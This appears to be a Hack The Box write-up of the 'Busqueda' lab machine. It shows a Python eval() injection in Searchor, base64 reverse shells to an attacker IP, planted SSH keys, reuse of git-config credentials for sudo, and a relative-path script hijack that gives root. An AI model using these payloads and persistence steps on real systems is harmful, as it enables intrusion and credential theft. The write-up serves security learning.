Those Are The Guys!

Two guys who do stuff on YouTube: [@thoseguys1938](https://www.youtube.com/@thoseguys1938)

View on GitHub
5 September 2023

Busqueda

by Jake

This week we are getting our Spanish practice in while hacking some boxes with Busqueda!

Start off as always with our nmap scan:

# Nmap 7.93 scan initiated Thu Jun 29 21:27:13 2023 as: nmap -sC -sV -oN busqueda.nmap 10.10.11.208
Nmap scan report for 10.10.11.208
Host is up (0.027s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 4fe3a667a227f9118dc30ed773a02c28 (ECDSA)
|_  256 816e78766b8aea7d1babd436b7f8ecc4 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://searcher.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jun 29 21:27:22 2023 -- 1 IP address (1 host up) scanned in 9.04 seconds

We see redirect to http://searcher.htb/ So we add that to our /etc/hosts file and navigate to the site:

Untitled.png

Fire up Burp and intercept some searches to try to understand whats going on.

Untitled 1.png

Ticking the auto redirect box sends you out to the URL that gets built from user input. We try some LFI or other input validation bypasses, but none of them seem to work. The bottom of the page shows that the application is a Python Flask app running something called Searchor 2.4.0

Looking at Github, there was a pull request to fix an RCE vulnerability with Python eval() : https://github.com/ArjunSharda/Searchor/commit/29d5b1f28d29d6a282a5e860d456fab2df24a16b

So lets look at the vulnerable code and try to build our own exploit:

url = eval(
            f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})"
        )

We control the value query . So let’s see if we can turn that into code execution. Following something like: https://medium.com/swlh/hacking-python-applications-5d4cd541b3f1 or

https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/python-eval-code-execution/

Based on the examples above, we need to send an input that makes the code valid but also execute our payload. Sending the string ',**import**('os').system('id'))# makes the code look like:

url = eval(
            f"Engine.{engine}.search('',__import__('os').system('id'))#', copy_url={copy}, open_web={open})"
        )

What is happening here? We are closing out the single quote and adding another parameter to the search() function. This parameter is our malicious payload. We then close out the search function with an extra ) and comment out the rest of the line. It’s very similar to an old school SQL injection.

Because the application is nice enough to print the output back to us, we can see the code working straight from Burp:

Untitled 2.png

Now we should be able to simply replace the id command with our shell. Unfortunately, we can’t straight up copy/pasta the example reverse shell because there are too many quotes and special characters in the payload. We need to encode it, send it, decode it, then execute it.

Let’s PoC it out step by step.

Step one is getting a bas64 encoded message onto the box, decoding it and printing it out. For testing purposes we are going to use ThoseGuys base64 encoded: VGhvc2VHdXlz .

Locally, that’s an easy one:

> echo VGhvc2VHdXlz | base64 -d  
ThoseGuys

So we replace the id from our first PoC with exactly that:

Untitled 3.png

As you can see, we are decoding the message successfully. Next up we want to run it, so we chain the pipes so that the output from base64 -d gets sent to bash:

> echo VGhvc2VHdXlz | base64 -d | bash
bash: line 1: ThoseGuys: command not found

Maybe “ThoseGuys” wasn’t the best test string, so let’s change that to the Base64 encoded version of id : aWQK . Testing it locally we can see we get:

> echo aWQK | base64 -d | bash        
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev),111(bluetooth),115(scanner),138(wireshark),141(kaboxer)

Perfect! Now to send it to the target.

Once again, we have our code execution working:

Untitled 4.png

Now that the PoC works, we can turn that base64 into our reverse shell payload:

> echo -n '/bin/bash -i >& /dev/tcp/10.10.14.8/9001 0>&1' | base64            
L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjgvOTAwMSAwPiYxCg==

Set up a listener and send it!

This took a little bit of tweaking, the example ones didn’t work. It also appeared that when you run which bash in Burp it returns /usr/bin/bash so we added the absolute path to the payload. It also doesn’t work when you just call bash from base64, it needs to be interactive with the -i flag.. eventually we end up with a working payload:

Untitled 5.png

Looking at the /etc/passwd file we determine that we are the only user on the account and hunt for the user flag

svc@busqueda:/var/www/app$ cd ~
cd ~
svc@busqueda:~$ ls
ls
user.txt
svc@busqueda:~$ cat user.txt
cat user.txt
d3cdc[REDACTED]c6fd

We had SSH on the box, so let’s follow the standard process for generating an SSH keypair and adding our public key to the target:

> ssh-keygen                                           
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kali/.ssh/id_rsa): thoseguys
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in thoseguys
Your public key has been saved in thoseguys.pub
The key fingerprint is:
SHA256:jAQFaow6/SkJpeN2LRexCC4rMrr5QuzdnRgUVk2Dkq4 kali@kali
The key's randomart image is:
+---[RSA 3072]----+
|    oo+.+o       |
| o . * . ..      |
|..= o.+          |
|o=. .+oo         |
|O...oo. S        |
|oB E.o.          |
|Bo+o+o+ .        |
|*+.ooo o         |
|++.              |
+----[SHA256]-----+
                                                                                                                                                    
> cat thoseguys.pub         
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC2yYgEJn4St4J0DT18gL8AiDSSFBSK0RkvYG0d4hhGBv3wyvI0ytRns3FukHOw0nQVIrbbucxqnhaRE5t4kKdVovdLT9Cc/9qBGBRk5g/krsWf2HcIfn+Pj3fnXZ5UQqUdEJ/W++Hogxaftlt/kepNw8KTFapZDGKAsS+eBUf+AgOeSwLr+WxqSbKXuNhMG6+xxJ03+hleNnz/YHKYaSPZKvSR5XxcRG9X6OSvgJKE4mcfX3mQOxC2JJbiNaSa50U+mWt+5qDv8U9dYAoPRvpD8z+WxFj9SQ0TLlZcpi8OR4D5dLHQwAQctnzDYi6UtDcCVfoYOfMt+AHuBnyv83aeEaIjT3GvJYUII1+sFn4YMaHCodXE5AKhVv1x+h5FLUOaSIlB4Epk9mqBuV5c/WSRVkUUe60FZzyaGUVXvISnnyQf8yIdK975eGABRtyIpW9XRE83Edp7FIhrNPLnY6jZmam/+9I+dnizt3UVg/R+AXSNS3wImank7gAbu70B0Y8= kali@kali

Then on the target:

> echo -n 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC2yYgEJn4St4J0DT18gL8AiDSSFBSK0RkvYG0d4hhGBv3wyvI0ytRns3FukHOw0nQVIrbbucxqnhaRE5t4kKdVovdLT9Cc/9qBGBRk5g/krsWf2HcIfn+Pj3fnXZ5UQqUdEJ/W++Hogxaftlt/kepNw8KTFapZDGKAsS+eBUf+AgOeSwLr+WxqSbKXuNhMG6+xxJ03+hleNnz/YHKYaSPZKvSR5XxcRG9X6OSvgJKE4mcfX3mQOxC2JJbiNaSa50U+mWt+5qDv8U9dYAoPRvpD8z+WxFj9SQ0TLlZcpi8OR4D5dLHQwAQctnzDYi6UtDcCVfoYOfMt+AHuBnyv83aeEaIjT3GvJYUII1+sFn4YMaHCodXE5AKhVv1x+h5FLUOaSIlB4Epk9mqBuV5c/WSRVkUUe60FZzyaGUVXvISnnyQf8yIdK975eGABRtyIpW9XRE83Edp7FIhrNPLnY6jZmam/+9I+dnizt3UVg/R+AXSNS3wImank7gAbu70B0Y8=' > authorized_keys

now we can SSH directly to the svc user without needing to worry about upgrading our shell:

> ssh -i thoseguys svc@searcher.htb
...
svc@busqueda:~$

sudo requires a password that we don’t know (yet?) so we keep poking around. In the home directory there is a .gitconfig file:

svc@busqueda:~$ ls -la
total 40
drwxr-x--- 5 svc  svc  4096 Jun 30 04:53 .
drwxr-xr-x 3 root root 4096 Dec 22  2022 ..
lrwxrwxrwx 1 root root    9 Feb 20 12:08 .bash_history -> /dev/null
-rw-r--r-- 1 svc  svc   220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 svc  svc  3771 Jan  6  2022 .bashrc
drwx------ 2 svc  svc  4096 Feb 28 11:37 .cache
-rw-rw-r-- 1 svc  svc    76 Apr  3 08:58 .gitconfig
drwxrwxr-x 5 svc  svc  4096 Jun 15  2022 .local
lrwxrwxrwx 1 root root    9 Apr  3 08:58 .mysql_history -> /dev/null
-rw-r--r-- 1 svc  svc   807 Jan  6  2022 .profile
lrwxrwxrwx 1 root root    9 Feb 20 14:08 .searchor-history.json -> /dev/null
drwxr-xr-x 2 svc  svc  4096 Jun 30 04:53 .ssh
-rw-r----- 1 root svc    33 Jun 29 02:26 user.txt
svc@busqueda:~$ cat .gitconfig 
[user]
        email = cody@searcher.htb
        name = cody
[core]
        hooksPath = no-hooks

We also find some root owned things in /opt

svc@busqueda:~$ cd /opt
svc@busqueda:/opt$ ls -la
total 16
drwxr-xr-x  4 root root 4096 Mar  1 10:46 .
drwxr-xr-x 19 root root 4096 Mar  1 10:46 ..
drwx--x--x  4 root root 4096 Dec 21  2022 containerd
drwxr-xr-x  3 root root 4096 Dec 24  2022 scripts

We can’t do anything in containerd but we can look in scripts

svc@busqueda:/opt/scripts$ ls -la
total 28
drwxr-xr-x 3 root root 4096 Dec 24  2022 .
drwxr-xr-x 4 root root 4096 Mar  1 10:46 ..
-rwx--x--x 1 root root  586 Dec 24  2022 check-ports.py
-rwx--x--x 1 root root  857 Dec 24  2022 full-checkup.sh
drwxr-x--- 8 root root 4096 Apr  3 15:04 .git
-rwx--x--x 1 root root 3346 Dec 24  2022 install-flask.sh
-rwx--x--x 1 root root 1903 Dec 24  2022 system-checkup.py

As you can see we don’t have permissions to view any of those files, but we can execute them.. or can we 🤔

Untitled 6.png

Back in the application itself, there is also a .git folder that could have something useful in it:

svc@busqueda:/var/www/app/.git$ ls -la
total 52
drwxr-xr-x 8 www-data www-data 4096 Jun 29 02:25 .
drwxr-xr-x 4 www-data www-data 4096 Apr  3 14:32 ..
drwxr-xr-x 2 www-data www-data 4096 Dec  1  2022 branches
-rw-r--r-- 1 www-data www-data   15 Dec  1  2022 COMMIT_EDITMSG
-rw-r--r-- 1 www-data www-data  294 Dec  1  2022 config
-rw-r--r-- 1 www-data www-data   73 Dec  1  2022 description
-rw-r--r-- 1 www-data www-data   21 Dec  1  2022 HEAD
drwxr-xr-x 2 www-data www-data 4096 Dec  1  2022 hooks
-rw-r--r-- 1 root     root      259 Apr  3 15:09 index
drwxr-xr-x 2 www-data www-data 4096 Dec  1  2022 info
drwxr-xr-x 3 www-data www-data 4096 Dec  1  2022 logs
drwxr-xr-x 9 www-data www-data 4096 Dec  1  2022 objects
drwxr-xr-x 5 www-data www-data 4096 Dec  1  2022 refs

We look through the files to maybe pull the repo to look in the commit history etc, but we don’t even need to go that far. We find what we need in the config file.

svc@busqueda:/var/www/app/.git$ cat config 
[core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
[remote "origin"]
        url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git
        fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
        remote = origin
        merge = refs/heads/main

Looks like credentials to me. We try those credentials against our sudo -l from earlier and get a hit!

svc@busqueda:/var/www/app/.git$ sudo -l
[sudo] password for svc: 
Matching Defaults entries for svc on busqueda:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User svc may run the following commands on busqueda:
    (root) /usr/bin/python3 /opt/scripts/system-checkup.py *

We can run the system-checkup.py script as root with arguments… Time to try and figure out what this thing does:

svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py *
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)

     docker-ps     : List running docker containers
     docker-inspect : Inpect a certain docker container
     full-checkup  : Run a full system checkup

Starting from the top and working our way down:

svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps
CONTAINER ID   IMAGE                COMMAND                  CREATED        STATUS        PORTS                                             NAMES
960873171e2e   gitea/gitea:latest   "/usr/bin/entrypoint…"   5 months ago   Up 27 hours   127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp   gitea
f84a6b33fb5a   mysql:8              "docker-entrypoint.s…"   5 months ago   Up 27 hours   127.0.0.1:3306->3306/tcp, 33060/tcp               mysql_db

Looks like we have a couple of containers, one running MySQL which could be interesting if we can work our way into it, and the other running gitea, which is a self-hosted version control system (similar to GitHub). These are good sources of potential credentials as well as source code…

svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect
Usage: /opt/scripts/system-checkup.py docker-inspect <format> <container_name>

docker-inspect needs info from the previous argument…

svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
Something went wrong

full-checkup doesn’t seem to like us.

Remember when we found the scripts folder initially, there was a [full-checkup.sh](http://full-checkup.sh) file… When we run the sudo command from within the /opt/scripts directory, something interesting happens:

svc@busqueda:/opt/scripts$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
[=] Docker conteainers
{
  "/gitea": "running"
}
{
  "/mysql_db": "running"
}

[=] Docker port mappings
{
  "22/tcp": [
    {
      "HostIp": "127.0.0.1",
      "HostPort": "222"
    }
  ],
  "3000/tcp": [
    {
      "HostIp": "127.0.0.1",
      "HostPort": "3000"
    }
  ]
}

[=] Apache webhosts
[+] searcher.htb is up
[+] gitea.searcher.htb is up

[=] PM2 processes
┌─────┬────────┬─────────────┬─────────┬─────────┬──────────┬────────┬──────┬───────────┬──────────┬──────────┬──────────┬──────────┐
 id   name    namespace    version  mode     pid       uptime       status     cpu       mem       user      watching 
├─────┼────────┼─────────────┼─────────┼─────────┼──────────┼────────┼──────┼───────────┼──────────┼──────────┼──────────┼──────────┤
 0    app     default      N/A      fork     1670      26h     0     online     0%        31.8mb    svc       disabled 
└─────┴────────┴─────────────┴─────────┴─────────┴──────────┴────────┴──────┴───────────┴──────────┴──────────┴──────────┴──────────┘

[+] Done!

This seems to suggest that the python script is referencing local files using a relative path, rather than an absolute path…

There are a couple of ways to go forward from here, but they all follow the same basic idea:

  1. We create a [full-checkup.sh](http://full-checkup.sh) script somewhere we have write permissions (such as our home directory)
  2. Set the permissions of the script to allow execution (chmod 755 full-checkup.sh)
  3. Run the python script as root using sudo and pwn the system.

Method #1 (Boring) - Just obtain the flag:

Our script looks like:

#!/bin/bash
cat /root/root.txt

This will print out the root flag, and thats all.

For persistence we can use methods 2 and 3..

Method #2 - Reverse shell.

Use our trusty [rev.sh](http://rev.sh) script:

#!/bin/bash
bash -i >& /dev/tcp/10.10.14.8/9001 0>&1

Set up a listener locally, then run the sudo command!

> nc -nlvp 9001
listening on [any] 9001 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.11.208] 48720
root@busqueda:/home/svc# id
uid=0(root) gid=0(root) groups=0(root)
root@busqueda:/home/svc# 

From there we can poke around at whatever we want. The next best option is to gain full persistence the same way we did with svc by adding out public key to root’s authorized_keys file…

Method #3 - SSH:

Use the script:

#!/bin/bash
mkdir /root/.ssh && echo -n 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC2yYgEJn4St4J0DT18gL8AiDSSFBSK0RkvYG0d4hhGBv3wyvI0ytRns3FukHOw0nQVIrbbucxqnhaRE5t4kKdVovdLT9Cc/9qBGBRk5g/krsWf2HcIfn+Pj3fnXZ5UQqUdEJ/W++Hogxaftlt/kepNw8KTFapZDGKAsS+eBUf+AgOeSwLr+WxqSbKXuNhMG6+xxJ03+hleNnz/YHKYaSPZKvSR5XxcRG9X6OSvgJKE4mcfX3mQOxC2JJbiNaSa50U+mWt+5qDv8U9dYAoPRvpD8z+WxFj9SQ0TLlZcpi8OR4D5dLHQwAQctnzDYi6UtDcCVfoYOfMt+AHuBnyv83aeEaIjT3GvJYUII1+sFn4YMaHCodXE5AKhVv1x+h5FLUOaSIlB4Epk9mqBuV5c/WSRVkUUe60FZzyaGUVXvISnnyQf8yIdK975eGABRtyIpW9XRE83Edp7FIhrNPLnY6jZmam/+9I+dnizt3UVg/R+AXSNS3wImank7gAbu70B0Y8=' > /root/.ssh/authorized_keys

When we run it we get no new is good news:

svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup

[+] Done!

and can SSH in directly as root!

> ssh -i thoseguys root@searcher.htb                   
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-69-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Fri Jun 30 05:35:36 AM UTC 2023

  System load:                      0.00439453125
  Usage of /:                       80.6% of 8.26GB
  Memory usage:                     55%
  Swap usage:                       5%
  Processes:                        255
  Users logged in:                  1
  IPv4 address for br-c954bf22b8b2: 172.20.0.1
  IPv4 address for br-cbf2c5ce8e95: 172.19.0.1
  IPv4 address for br-fba5a3e31476: 172.18.0.1
  IPv4 address for docker0:         172.17.0.1
  IPv4 address for eth0:            10.10.11.208
  IPv6 address for eth0:            dead:beef::250:56ff:feb9:4e5c

 * Introducing Expanded Security Maintenance for Applications.
   Receive updates to over 25,000 software packages with your
   Ubuntu Pro subscription. Free for personal use.

     https://ubuntu.com/pro

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

The list of available updates is more than a week old.
To check for new updates run: sudo apt update

root@busqueda:~#

Bonus content:

docker inspect can be used to query docker container config and could be used to get into the MYSQL database as well as the gitea repositories to view the scripts without root permissions:

https://docs.docker.com/engine/reference/commandline/inspect/

docker inspect --format='' $INSTANCE_ID
tags: ctf - htb - busqueda